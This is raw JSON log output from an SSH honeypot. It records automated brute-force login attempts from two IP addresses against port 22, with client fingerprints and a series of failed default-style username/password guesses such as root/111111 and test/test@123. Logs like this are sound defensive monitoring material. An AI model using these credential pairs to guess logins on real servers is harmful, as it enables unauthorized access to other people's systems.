{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:27.825230Z","src_ip":"91.92.40.171","session":"d9644c119725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:28.588976Z","src_ip":"91.92.42.133","session":"a5fcbee30f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:29.331411Z","src_ip":"91.92.40.171","session":"d9644c119725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37246,"dst_ip":"159.203.135.109","dst_port":22,"session":"f130efe1818e","protocol":"ssh","message":"New connection: 91.92.42.133:37246 (159.203.135.109:22) [session: f130efe1818e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:32.288980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:32.747188Z","src_ip":"91.92.42.133","session":"f130efe1818e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:32.750056Z","src_ip":"91.92.42.133","session":"f130efe1818e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47974,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f31420bf647","protocol":"ssh","message":"New connection: 91.92.40.171:47974 (159.203.135.109:22) [session: 9f31420bf647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:34.358416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:34.457858Z","src_ip":"91.92.40.171","session":"9f31420bf647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:34.972987Z","src_ip":"91.92.42.133","session":"f130efe1818e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:36.612950Z","src_ip":"91.92.42.133","session":"f130efe1818e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:37.976801Z","src_ip":"91.92.40.171","session":"9f31420bf647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58998,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4c74fe02e1","protocol":"ssh","message":"New connection: 91.92.40.171:58998 (159.203.135.109:22) [session: 3b4c74fe02e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:40.401179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:40.404666Z","src_ip":"91.92.40.171","session":"3b4c74fe02e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46026,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8e07f8af627","protocol":"ssh","message":"New connection: 91.92.42.133:46026 (159.203.135.109:22) [session: f8e07f8af627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:40.490830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:40.835927Z","src_ip":"91.92.42.133","session":"f8e07f8af627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:40.838902Z","src_ip":"91.92.42.133","session":"f8e07f8af627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:41.356393Z","src_ip":"91.92.40.171","session":"3b4c74fe02e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:42.175309Z","src_ip":"91.92.42.133","session":"f8e07f8af627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:43.415953Z","src_ip":"91.92.42.133","session":"f8e07f8af627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59058,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1651fed89b","protocol":"ssh","message":"New connection: 91.92.40.171:59058 (159.203.135.109:22) [session: 0b1651fed89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:44.611564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:44.624536Z","src_ip":"91.92.40.171","session":"0b1651fed89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:44.712441Z","src_ip":"91.92.40.171","session":"0b1651fed89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:45.029017Z","src_ip":"91.92.40.171","session":"3b4c74fe02e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:45.142354Z","src_ip":"91.92.40.171","session":"0b1651fed89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:45.385283Z","src_ip":"91.92.40.171","session":"9f31420bf647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:46.297591Z","src_ip":"91.92.40.171","session":"0b1651fed89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:47.164434Z","src_ip":"91.92.40.171","session":"3b4c74fe02e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:47.533385Z","src_ip":"91.92.40.171","session":"9f31420bf647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51732,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcef8ce5a3ee","protocol":"ssh","message":"New connection: 91.92.42.133:51732 (159.203.135.109:22) [session: bcef8ce5a3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:48.865574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:48.918112Z","src_ip":"91.92.42.133","session":"bcef8ce5a3ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:49.021509Z","src_ip":"91.92.42.133","session":"bcef8ce5a3ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:49.857454Z","src_ip":"91.92.42.133","session":"bcef8ce5a3ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41272,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e86e059e81","protocol":"ssh","message":"New connection: 91.92.40.171:41272 (159.203.135.109:22) [session: 10e86e059e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:50.620814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:50.627434Z","src_ip":"91.92.40.171","session":"10e86e059e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:50.703573Z","src_ip":"91.92.40.171","session":"10e86e059e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:51.049749Z","src_ip":"91.92.42.133","session":"bcef8ce5a3ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:51.285456Z","src_ip":"91.92.40.171","session":"10e86e059e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:52.370839Z","src_ip":"91.92.40.171","session":"10e86e059e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44796,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e7ac6368f8c","protocol":"ssh","message":"New connection: 91.92.40.171:44796 (159.203.135.109:22) [session: 8e7ac6368f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.074718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.099954Z","src_ip":"91.92.40.171","session":"8e7ac6368f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.185988Z","src_ip":"91.92.40.171","session":"8e7ac6368f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.540694Z","src_ip":"91.92.40.171","session":"8e7ac6368f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":32786,"dst_ip":"159.203.135.109","dst_port":22,"session":"e64287890972","protocol":"ssh","message":"New connection: 91.92.42.133:32786 (159.203.135.109:22) [session: e64287890972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.640958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:56.671264Z","src_ip":"91.92.42.133","session":"e64287890972","protocol":"ssh"}
